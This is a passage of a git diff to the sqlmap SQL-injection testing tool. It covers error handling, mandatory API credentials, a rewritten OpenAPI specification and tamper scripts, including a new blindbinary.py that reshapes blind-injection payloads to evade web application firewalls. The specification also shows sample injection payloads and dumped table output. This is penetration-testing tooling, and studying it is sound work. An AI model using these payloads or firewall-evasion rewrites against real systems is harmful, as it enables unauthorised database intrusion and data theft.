"socket.error, err", "SyntaxError")): - errMsg = "wrong initialization of 'python-ntlm' detected (using Python2 syntax)" - logger.critical(errMsg) - raise SystemExit - elif all(_ in excMsg for _ in ("drda", "to_bytes")): errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)" logger.critical(errMsg) @@ -478,7 +519,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")): + elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "os.getcwd()")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit @@ -501,12 +542,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")): - errMsg = "package 'python-ntlm' has a known compatibility issue with the " - errMsg += "Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')" - logger.critical(errMsg) - raise SystemExit - elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " @@ -537,6 +572,17 @@ def main(): logger.critical(errMsg) raise SystemExit + elif (sys._jit.is_enabled() if hasattr(sys, "_jit") else (sys.version_info >= (3, 13) and os.environ.get("PYTHON_JIT") == '1')): + errMsg = "the experimental Python JIT compiler is turned on. CPython has an open defect where " + errMsg += "the tier-2 optimizer runs the wrong instruction stream against a correct frame, raising " + errMsg += "exceptions that the executed code cannot produce " + errMsg += "(Reference: 'https://github.com/python/cpython/issues/156319'). Please rerun with it " + errMsg += "turned off (e.g. 'PYTHON_JIT=0') and report the problem only if it still occurs" + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) try: @@ -568,6 +614,21 @@ def main(): warnMsg = "your sqlmap version is outdated" logger.warning(warnMsg) + # emit the JSON report BEFORE the closing banner, so it does not appear awkwardly after + # "[*] ending @ ..." + if conf.get("reportCollector") is not None: + try: + from lib.utils.api import writeReportJson + writeReportJson(conf.reportCollector, conf.reportJson) + logger.info("JSON report written to '%s'" % conf.reportJson) + except Exception as ex: + logger.error("unable to write JSON report to '%s' ('%s')" % (conf.reportJson, getSafeExString(ex))) + finally: + try: + conf.reportCollector.disconnect() + except Exception as ex: + logger.debug("problem occurred while closing the report collector ('%s')" % getSafeExString(ex)) + if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) @@ -581,7 +642,7 @@ def main(): except OSError: pass - if any((conf.vulnTest, conf.smokeTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.payloadLint, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: shutil.rmtree(tempDir, ignore_errors=True) except OSError: @@ -635,3 +696,9 @@ def main(): else: # cancelling postponed imports (because of CI/CD checks) __import__("lib.controller.controller") + + # exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()' + from lib.utils.library import scan, scanFromRequest, SqlmapError + +# public library API (also marks the re-exported names above as intentional for pyflakes) +__all__ = ["scan", "scanFromRequest", "SqlmapError"] diff --git a/sqlmapapi.py b/sqlmapapi.py index 99862b65bc6..4714887f409 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -81,7 +81,7 @@ def modulePath(): def main(): """ - REST-JSON API main function + REST API main function """ dirtyPatches() @@ -95,16 +95,19 @@ def main(): # Parse command line options apiparser = ArgumentParser() - apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true") - apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true") - apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) - apiparser.add_argument("-p", "--port", help="Port of the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) + apiparser.add_argument("-s", "--server", help="Run as a REST API server", action="store_true") + apiparser.add_argument("-c", "--client", help="Run as a REST API client", action="store_true") + apiparser.add_argument("-H", "--host", help="Host of the REST API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) + apiparser.add_argument("-p", "--port", help="Port of the REST API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) apiparser.add_argument("--database", help="Set IPC database filepath (optional)") - apiparser.add_argument("--username", help="Basic authentication username (optional)") - apiparser.add_argument("--password", help="Basic authentication password (optional)") + apiparser.add_argument("--username", help="Basic authentication username") + apiparser.add_argument("--password", help="Basic authentication password") (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() + if (args.server or args.client) and not all((args.username, args.password)): + apiparser.error("--username and --password are mandatory for REST API server/client usage") + # Start the client or the server if args.server: server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index 16641c24d8d..59214a7ac64 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -1,297 +1,956 @@ -openapi: 3.0.1 +openapi: 3.0.3 info: - title: sqlmapapi OpenAPI/Swagger specification - version: '0.1' + title: sqlmap REST API + version: "2.0.0" + description: | + OpenAPI/Swagger specification for sqlmapapi.py, the sqlmap REST API server. + + This specification describes the API surface implemented by `lib/utils/api.py`. + The API is expected to be protected with HTTP Basic authentication when started + with `--username` and `--password`; hardened builds should require credentials + for server/client usage. + + Notes for implementers: + * Most sqlmap options are represented as dynamic JSON object properties. + * API-level failures are commonly returned as HTTP 200 with `success: false` + and a `message` field, matching the current server behavior. + * The API starts scans by spawning sqlmap in a separate process and storing + logs/data in the configured IPC database. + license: + name: GPL-2.0-only or commercial + url: https://github.com/sqlmapproject/sqlmap/blob/master/LICENSE + contact: + name: sqlmap project + url: https://sqlmap.org +externalDocs: + description: sqlmap project repository + url: https://github.com/sqlmapproject/sqlmap +servers: + - url: http://127.0.0.1:8775 + description: Default local sqlmapapi.py server +security: + - basicAuth: [] +tags: + - name: Version + description: Server/version metadata + - name: Tasks + description: Task lifecycle management + - name: Options + description: Task option inspection and mutation + - name: Scans + description: Scan process lifecycle, status, logs, and results + - name: Admin + description: Task pool administration + - name: Files + description: Retrieval of output files paths: /version: get: - description: Fetch server version + tags: [Version] + operationId: getVersion + summary: Fetch server and API version + description: >- + Returns the sqlmap version string and the API contract version (api_version), which follows + semantic versioning independently of the sqlmap version so clients can check compatibility. responses: - '200': - description: OK + "200": + description: Server and API version returned. content: application/json: schema: - type: object - properties: - version: - type: string - example: "1.5.7.7#dev" - success: - type: boolean - example: true + $ref: "#/components/schemas/VersionResponse" + examples: + success: + value: + success: true + version: "1.10.6.51#dev" + api_version: 2 + "401": + $ref: "#/components/responses/Unauthorized" + /task/new: get: - description: Create a new task + tags: [Tasks] + operationId: createTask + summary: Create a new task + description: Creates an empty task and returns a 16-character hexadecimal task ID. responses: - '200': - description: OK + "200": + description: Task created. content: application/json: schema: - type: object - properties: - taskid: - type: string - example: "fad44d6beef72285" - success: - type: boolean - example: true + $ref: "#/components/schemas/TaskNewResponse" + examples: + success: + value: + success: true + taskid: "fad44d6beef72285" + "401": + $ref: "#/components/responses/Unauthorized" + /task/{taskid}/delete: get: - description: Delete an existing task + tags: [Tasks] + operationId: deleteTask + summary: Delete an existing task + description: Kills the task process, if still running, and removes the task from the in-memory task pool. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" + responses: + "200": + description: Task deleted. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + "404": + description: Non-existing task ID. + content: + application/json: + schema: + $ref: "#/components/schemas/ErrorResponse" + examples: + notFound: + value: + success: false + message: Non-existing task ID + + /admin/list: + get: + tags: [Admin] + operationId: listTasksForRemoteAddress + summary: List visible tasks + description: | + Lists task statuses visible to the caller. Without the admin token path variant, + the server returns tasks associated with the same remote address. + responses: + "200": + $ref: "#/components/responses/AdminList" + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/{token}/list: + get: + tags: [Admin] + operationId: listTasksWithAdminToken + summary: List all tasks with admin token + description: Lists all task statuses when the path token matches the server-generated admin token. + parameters: + - $ref: "#/components/parameters/AdminToken" responses: - '200': - description: OK + "200": + $ref: "#/components/responses/AdminList" + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/flush: + get: + tags: [Admin] + operationId: flushTasksForRemoteAddress + summary: Flush visible tasks + description: | + Kills and removes tasks visible to the caller. Without the admin token path variant, + the server flushes tasks associated with the same remote address. + responses: + "200": + description: Matching tasks flushed. content: application/json: schema: - type: object - properties: - success: - type: boolean - example: true + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/{token}/flush: + get: + tags: [Admin] + operationId: flushTasksWithAdminToken + summary: Flush all tasks with admin token + description: Kills and removes all tasks when the path token matches the server-generated admin token. + parameters: + - $ref: "#/components/parameters/AdminToken" + responses: + "200": + description: Matching tasks flushed. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + /option/{taskid}/list: get: - description: List options for a given task ID + tags: [Options] + operationId: listOptions + summary: List task options + description: Returns the current option object for a task. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" responses: - '200': - description: OK + "200": + description: Options returned, or an API-level failure envelope for an invalid task ID. content: application/json: schema: - type: object - properties: - success: - type: boolean - example: true - options: - type: array - items: - type: object + oneOf: + - $ref: "#/components/schemas/OptionListResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + options: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + batch: true + threads: 1 + invalidTask: + value: + success: false + message: Invalid task ID + "401": + $ref: "#/components/responses/Unauthorized" + /option/{taskid}/get: post: - description: Get value of option(s) for a certain task ID + tags: [Options] + operationId: getOptions + summary: Get selected task options + description: Returns values for the requested option names. parameters: - - in: path - name: taskid - required: true - schema: - type: string + - $ref: "#/components/parameters/TaskId" requestBody: + required: false content: application/json: schema: - type: array - items: - type: string - example: ["url", "cookie"] + $ref: "#/components/schemas/OptionGetRequest" + examples: + selectedOptions: + value: ["url", "cookie"] responses: - '200': - description: OK + "200": + description: Selected options returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - success: - type: boolean - options: - type: object + oneOf: + - $ref: "#/components/schemas/OptionGetResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + options: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + cookie: "id=1" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + "401": + $ref: "#/components/responses/Unauthorized" + /option/{taskid}/set: post: - description: Set value of option(s) for a certain task ID + tags: [Options] + operationId: setOptions + summary: Set task options + description: | + Sets one or more options on a task. Values are persisted in the task option + object and are used when the scan is started. + + Unsupported, read-only, and unknown options are rejected with `success: false`. parameters: - - in: path - name: taskid - required: true - schema: - type: string + - $ref: "#/components/parameters/TaskId" requestBody: + required: true content: application/json: schema: - type: object - example: {"cookie": "id=1"} + $ref: "#/components/schemas/SqlmapOptions" + examples: + setCookie: + value: + cookie: "id=1" + setTarget: + value: + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: - '200': - description: OK + "200": + description: Options set, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - success: - type: boolean + oneOf: + - $ref: "#/components/schemas/SimpleSuccessResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + invalidJson: + value: + success: false + message: Invalid JSON options + unsupportedOption: + value: + success: false + message: "Unsupported option 'evalCode'" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + "401": + $ref: "#/components/responses/Unauthorized" + /scan/{taskid}/start: post: - description: Launch a scan + tags: [Scans] + operationId: startScan + summary: Launch a scan + description: | + Applies the provided options to the task and starts sqlmap in a separate process. + The response contains the spawned engine process ID. + + Unsupported, read-only, and unknown options are rejected with `success: false`. + Starting a scan for an already running task returns `success: false`. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" requestBody: + required: true content: application/json: schema: - type: object - properties: - url: - type: string + $ref: "#/components/schemas/SqlmapOptions" examples: - '0': - value: '{"url":"http://testphp.vulnweb.com/artists.php?artist=1"}' + basicUrlScan: + value: + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: - '200': - description: OK + "200": + description: Scan started, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - engineid: - type: integer - example: 19720 - success: - type: boolean - example: true + oneOf: + - $ref: "#/components/schemas/ScanStartResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + engineid: 19720 + unsupportedOption: + value: + success: false + message: "Unsupported option 'evalCode'" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + scanAlreadyRunning: + value: + success: false + message: Scan already running + invalidJson: + value: + success: false + message: Invalid JSON options + "401": + $ref: "#/components/responses/Unauthorized" + /scan/{taskid}/stop: get: - description: Stop a scan + tags: [Scans] + operationId: stopScan + summary: Stop a scan + description: Terminates the running scan process for the task and waits for process exit. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" responses: - '200': - description: OK - content: - application/json: - schema: - type: object - properties: - success: - type: boolean - example: true + "200": + $ref: "#/components/responses/ScanControl" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/kill: + get: + tags: [Scans] + operationId: killScan + summary: Kill a scan + description: Force-kills the running scan process for the task and waits for process exit. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + $ref: "#/components/responses/ScanControl" + "401": + $ref: "#/components/responses/Unauthorized" + /scan/{taskid}/status: get: - description: Fetch status of a scan + tags: [Scans] + operationId: getScanStatus + summary: Fetch scan status + description: Returns the process status and return code for the task. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" responses: - '200': - description: OK + "200": + description: Scan status returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - status: - type: string - example: terminated - returncode: - type: integer - example: 0 - success: - type: boolean - example: true + oneOf: + - $ref: "#/components/schemas/ScanStatusResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + running: + value: + success: true + status: running + returncode: null + terminated: + value: + success: true + status: terminated + returncode: 0 + notRunning: + value: + success: true + status: not running + returncode: null + "401": + $ref: "#/components/responses/Unauthorized" + /scan/{taskid}/data: get: - description: Retrieve the scan resulting data + tags: [Scans] + operationId: getScanData + summary: Retrieve scan data + description: Returns structured scan output and recorded error messages for the task. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" responses: - '200': - description: OK + "200": + description: Scan data returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - data: - type: array - items: - type: object - success: - type: boolean - example: true - error: - type: array - items: - type: object + oneOf: + - $ref: "#/components/schemas/ScanDataResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + data: + - status: 1 + type: 2 + type_name: DBMS_FINGERPRINT + value: "back-end DBMS: MySQL >= 5.1" + - status: 1 + type: 4 + type_name: CURRENT_USER + value: "root@%" + - status: 1 + type: 12 + type_name: DBS + value: ["information_schema", "mysql", "testdb"] + - status: 1 + type: 1 + type_name: TECHNIQUES + value: + - place: GET + parameter: id + dbms: MySQL + dbms_version: [">= 5.1"] + os: null + notes: [] + data: + - technique: "boolean-based blind" + title: "AND boolean-based blind - WHERE or HAVING clause" + payload: "id=1 AND 7997=7997" + vector: "AND [INFERENCE]" + comment: "" + - status: 1 + type: 17 + type_name: DUMP_TABLE + value: + db: testdb + table: users + count: 2 + columns: + id: ["1", "2"] + name: ["admin", null] + error: [] + "401": + $ref: "#/components/responses/Unauthorized" + /scan/{taskid}/log: get: - description: Retrieve the log messages + tags: [Scans] + operationId: getScanLog + summary: Retrieve all scan log messages + description: Returns all recorded log messages for the task. parameters: - - in: path - name: taskid + - $ref: "#/components/parameters/TaskId" + responses: + "200": + $ref: "#/components/responses/ScanLog" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/log/{start}/{end}: + get: + tags: [Scans] + operationId: getScanLogRange + summary: Retrieve a bounded scan log range + description: Returns log messages with database IDs from `start` through `end`, inclusive. + parameters: + - $ref: "#/components/parameters/TaskId" + - name: start + in: path required: true + description: Inclusive starting log row ID. Must be a positive integer. schema: - type: string - description: Scan task ID + type: integer + minimum: 1 + example: 1 + - name: end + in: path + required: true + description: Inclusive ending log row ID. Must be greater than or equal to `start`. + schema: + type: integer + minimum: 1 + example: 100 responses: - '200': - description: OK - content: - application/json: - schema: - type: object - properties: - log: - type: array - items: - type: object - success: - type: boolean - example: true - /scan/{taskid}/kill: + "200": + $ref: "#/components/responses/ScanLog" + "401": + $ref: "#/components/responses/Unauthorized" + + /download/{taskid}/{target}/{filename}: get: - description: Kill a scan + tags: [Files] + operationId: downloadOutputFile + summary: Download an output file + description: | + Retrieves a file from sqlmap's output directory for the given task/target and + returns it as Base64 in JSON. + + Implementation note: `filename` is a Bottle `:path` parameter and may contain + slash characters in the running server. Some OpenAPI tooling requires those + slashes to be URL-encoded or handled with a custom client. + x-bottle-path-parameter: filename parameters: - - in: path - name: taskid + - $ref: "#/components/parameters/TaskId" + - name: target + in: path + required: true + description: Target output-directory name. + schema: + type: string + example: sekumart.sekuripy.hr + - name: filename + in: path required: true + description: Output file path relative to the target directory. + allowReserved: true schema: type: string - description: Scan task ID + example: log responses: - '200': - description: OK + "200": + description: File returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - success: - type: boolean - example: true + oneOf: + - $ref: "#/components/schemas/DownloadResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + file: "SGVsbG8K" + forbidden: + value: + success: false + message: Forbidden path + missing: + value: + success: false + message: File does not exist + "401": + $ref: "#/components/responses/Unauthorized" + +components: + securitySchemes: + basicAuth: + type: http + scheme: basic + description: | + HTTP Basic authentication using the `--username` and `--password` values + supplied to sqlmapapi.py. Hardened builds should require both values. + + parameters: + TaskId: + name: taskid + in: path + required: true + description: 16-character hexadecimal scan task ID. + schema: + type: string + pattern: "^[0-9a-fA-F]{16}$" + example: fad44d6beef72285 + AdminToken: + name: token + in: path + required: true + description: Server-generated admin token printed when sqlmapapi.py starts. + schema: + type: string + pattern: "^[0-9a-fA-F]{32}$" + example: "0123456789abcdef0123456789abcdef" + + responses: + Unauthorized: + description: Missing or invalid HTTP Basic credentials. The response body is empty. + AdminList: + description: Task pool listing returned. + content: + application/json: + schema: + $ref: "#/components/schemas/AdminListResponse" + examples: + success: + value: + success: true + tasks: + fad44d6beef72285: running + c04d8c5c7582efb4: terminated + tasks_num: 2 + ScanControl: + description: Scan control action completed, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/SimpleSuccessResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + invalidTask: + value: + success: false + message: Invalid task ID + ScanLog: + description: Scan log returned, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/ScanLogResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + log: + - time: "12:34:56" + level: INFO + message: testing connection to the target URL + invalidRange: + value: + success: false + message: Invalid start or end value, must be digits + + schemas: + ErrorResponse: + type: object + required: [success, message] + properties: + success: + type: boolean + enum: [false] + message: + type: string + additionalProperties: false + + SimpleSuccessResponse: + type: object + required: [success] + properties: + success: + type: boolean + enum: [true] + additionalProperties: false + + VersionResponse: + type: object + required: [success, version, api_version] + properties: + success: + type: boolean + enum: [true] + version: + type: string + description: sqlmap version string without the `sqlmap/` prefix. + example: "1.10.6.51#dev" + api_version: + type: integer + description: >- + MAJOR API-contract version (integer), independent of the sqlmap version. Only the major + is exposed at runtime because only a major bump breaks clients; the full semantic version + is this document's info.version. Clients compare e.g. api_version == 2. + example: 2 + additionalProperties: false + + TaskNewResponse: + type: object + required: [success, taskid] + properties: + success: + type: boolean + enum: [true] + taskid: + type: string + pattern: "^[0-9a-fA-F]{16}$" + example: fad44d6beef72285 + additionalProperties: false + + AdminListResponse: + type: object + required: [success, tasks, tasks_num] + properties: + success: + type: boolean + enum: [true] + tasks: + type: object + description: Object keyed by task ID, with current task status as the value. + additionalProperties: + $ref: "#/components/schemas/ScanStatus" + example: + fad44d6beef72285: running + tasks_num: + type: integer + minimum: 0 + example: 1 + additionalProperties: false + + ScanStatus: + type: string + enum: + - not running + - running + - terminated + + OptionValue: + description: Value accepted by sqlmap options. The exact type depends on the option. + anyOf: + - type: string + nullable: true + - type: boolean + - type: integer + - type: number + - type: array + items: {} + - type: object + additionalProperties: true + + SqlmapOptions: + type: object + description: | + Dynamic object containing sqlmap option names and values. Option names map to + sqlmap's internal option dictionary. Unsupported, read-only, and unknown + options are rejected by endpoints that accept this object. + additionalProperties: + $ref: "#/components/schemas/OptionValue" + example: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + cookie: "id=1" + batch: true + threads: 1 + + OptionListResponse: + type: object + required: [success, options] + properties: + success: + type: boolean + enum: [true] + options: + $ref: "#/components/schemas/SqlmapOptions" + additionalProperties: false + + OptionGetRequest: + type: array + description: List of option names to return. Empty or missing input returns an empty options object. + items: + type: string + minLength: 1 + example: + - url + - cookie + + OptionGetResponse: + type: object + required: [success, options] + properties: + success: + type: boolean + enum: [true] + options: + $ref: "#/components/schemas/SqlmapOptions" + additionalProperties: false + + ScanStartResponse: + type: object + required: [success, engineid] + properties: + success: + type: boolean + enum: [true] + engineid: + type: integer + description: Process ID of the spawned sqlmap engine. + example: 19720 + additionalProperties: false + + ScanStatusResponse: + type: object + required: [success, status, returncode] + properties: + success: + type: boolean + enum: [true] + status: + $ref: "#/components/schemas/ScanStatus" + returncode: + type: integer + nullable: true + description: Process return code, or null when no process is running or the process has not exited. + example: 0 + additionalProperties: false + + ScanDataItem: + type: object + required: [status, type, type_name, value] + properties: + status: + type: integer + description: Numeric content status (0 = in progress, 1 = complete). + example: 1 + type: + type: integer + description: Numeric content type stored by sqlmap. + example: 2 + type_name: + type: string + nullable: true + description: >- + Human-readable name of the content type (e.g. "DBMS_FINGERPRINT", "CURRENT_USER", + "DBS", "TECHNIQUES", "DUMP_TABLE"). null for any unmapped type. + example: DBMS_FINGERPRINT + value: + anyOf: + - type: string + nullable: true + - type: boolean + - type: integer + - type: number + - type: array + items: {} + - type: object + additionalProperties: true + description: >- + JSON-decoded scan output value; its shape depends on the content type. Internal + plumbing is stripped: TECHNIQUES is a list of injection points whose "data" is a list of + techniques each named via a "technique" field (matchRatio/trueCode/falseCode/ + templatePayload/where/conf are not exposed); DUMP_TABLE is + {db, table, count, columns: {column: [values]}} (the internal __infos__ wrapper and + per-column length are not exposed). + additionalProperties: true + + ScanDataResponse: + type: object + required: [success, data, error] + properties: + success: + type: boolean + enum: [true] + data: + type: array + items: + $ref: "#/components/schemas/ScanDataItem" + error: + type: array + items: + type: string + additionalProperties: false + + LogEntry: + type: object + required: [time, level, message] + properties: + time: + type: string + description: Server-local time in HH:MM:SS format. + pattern: "^[0-2][0-9]:[0-5][0-9]:[0-5][0-9]$" + example: "12:34:56" + level: + type: string + description: Python logging level name. + example: INFO + message: + type: string + example: testing connection to the target URL + additionalProperties: false + + ScanLogResponse: + type: object + required: [success, log] + properties: + success: + type: boolean + enum: [true] + log: + type: array + items: + $ref: "#/components/schemas/LogEntry" + additionalProperties: false + + DownloadResponse: + type: object + required: [success, file] + properties: + success: + type: boolean + enum: [true] + file: + type: string + format: byte + description: Base64-encoded file content. + example: SGVsbG8K + additionalProperties: false diff --git a/tamper/between.py b/tamper/between.py index 8e9538088f0..9999d5db1bd 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -19,16 +19,18 @@ def tamper(payload, **kwargs): Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: - * Microsoft SQL Server 2005 - * MySQL 4, 5.0 and 5.5 - * Oracle 10g - * PostgreSQL 8.3, 8.4, 9.0 + * MySQL 8.4.9 + * MariaDB 11.8.8 + * PostgreSQL 16.11 + * SQLite 3.45.1 + * Microsoft SQL Server 2022 + * Oracle 23ai Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character - * The BETWEEN clause is SQL standard. Hence, this tamper script - should work against all (?) databases + * The BETWEEN clause is SQL standard, and the rewrite was confirmed + to run unchanged on every engine listed above >>> tamper('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' @@ -41,16 +43,16 @@ def tamper(payload, **kwargs): retVal = payload if payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*(?(?!=)\s*([^>]+)\s*\Z", payload) # Note: avoiding compound operators (e.g. >=, <>) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: - retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) + retVal = re.sub(r"\s*(?(?!=)\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*(?!])=(?!=)\s*([\w()]+)\s*", payload) # Note: avoiding compound operators (e.g. >=, !=) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) diff --git a/tamper/blindbinary.py b/tamper/blindbinary.py new file mode 100644 index 00000000000..9e4f6e8b911 --- /dev/null +++ b/tamper/blindbinary.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.common import Backend +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def _balancedEnd(payload, start): + """Index of the ')' matching the '(' at payload[start] (or -1).""" + depth = 0 + idx = start + while idx < len(payload): + if payload[idx] == '(': + depth += 1 + elif payload[idx] == ')': + depth -= 1 + if depth == 0: + return idx + idx += 1 + return -1 + +def _unwrapIsnull(query): + """Rewrites sqlmap's MySQL NULL wrapper 'IFNULL(,)' into '(IF( IS NULL,,))'.""" + retVal = query + + while True: + match = re.search(r"(?i)IFNULL\(", retVal) + + if not match: + break + + end = _balancedEnd(retVal, match.end() - 1) + if end < 0: + break + + inner = retVal[match.end():end] + separator, depth = -1, 0 # the argument separator is the comma at the top level + + for index, char in enumerate(inner): + if char == '(': + depth += 1 + elif char == ')': + depth -= 1 + elif char == ',' and depth == 0: + separator = index + + if separator < 1: + break + + field, default = inner[:separator], inner[separator + 1:] + retVal = "%s(IF(%s IS NULL,%s,%s))%s" % (retVal[:match.start()], field, default, field, retVal[end + 1:]) + + return retVal + +def _reshape(payload, opener, tail, build): + """Replace every 'opener()' with build(query, tail-match).""" + retVal = payload + pos = 0 + while True: + match = re.search(opener, retVal[pos:]) + if not match: + break + start = pos + match.start() + cursor = pos + match.end() # should sit on the '(' of the query argument + if cursor >= len(retVal) or retVal[cursor] != '(': + pos = pos + match.end() + continue + end = _balancedEnd(retVal, cursor) + if end < 0: + pos = pos + match.end() + continue + query = retVal[cursor:end + 1] # '()' + rest = re.match(tail, retVal[end + 1:]) + if not rest: + pos = pos + match.end() + continue + replacement = build(query, rest) + + if replacement is None: # builder declined, leave this occurrence alone + pos = pos + match.end() + continue + + retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():] + pos = start + len(replacement) + return retVal + +def tamper(payload, **kwargs): + """ + Rewrites blind single-character reads into a firewall-transparent, byte-ordered comparison that + sheds the function names anomaly-scoring WAFs key on: + + * MySQL: ORD(MID((),

    ,1))> + -> RIGHT(LEFT((),

    ),(

    <=LENGTH(CONVERT(() USING ascii))))>BINARY 0x + * SQL Server: UNICODE(SUBSTRING((),

    ,1))> (also ASCII(SUBSTRING(...))) + -> CAST(RIGHT(LEFT((),

    ),CASE WHEN

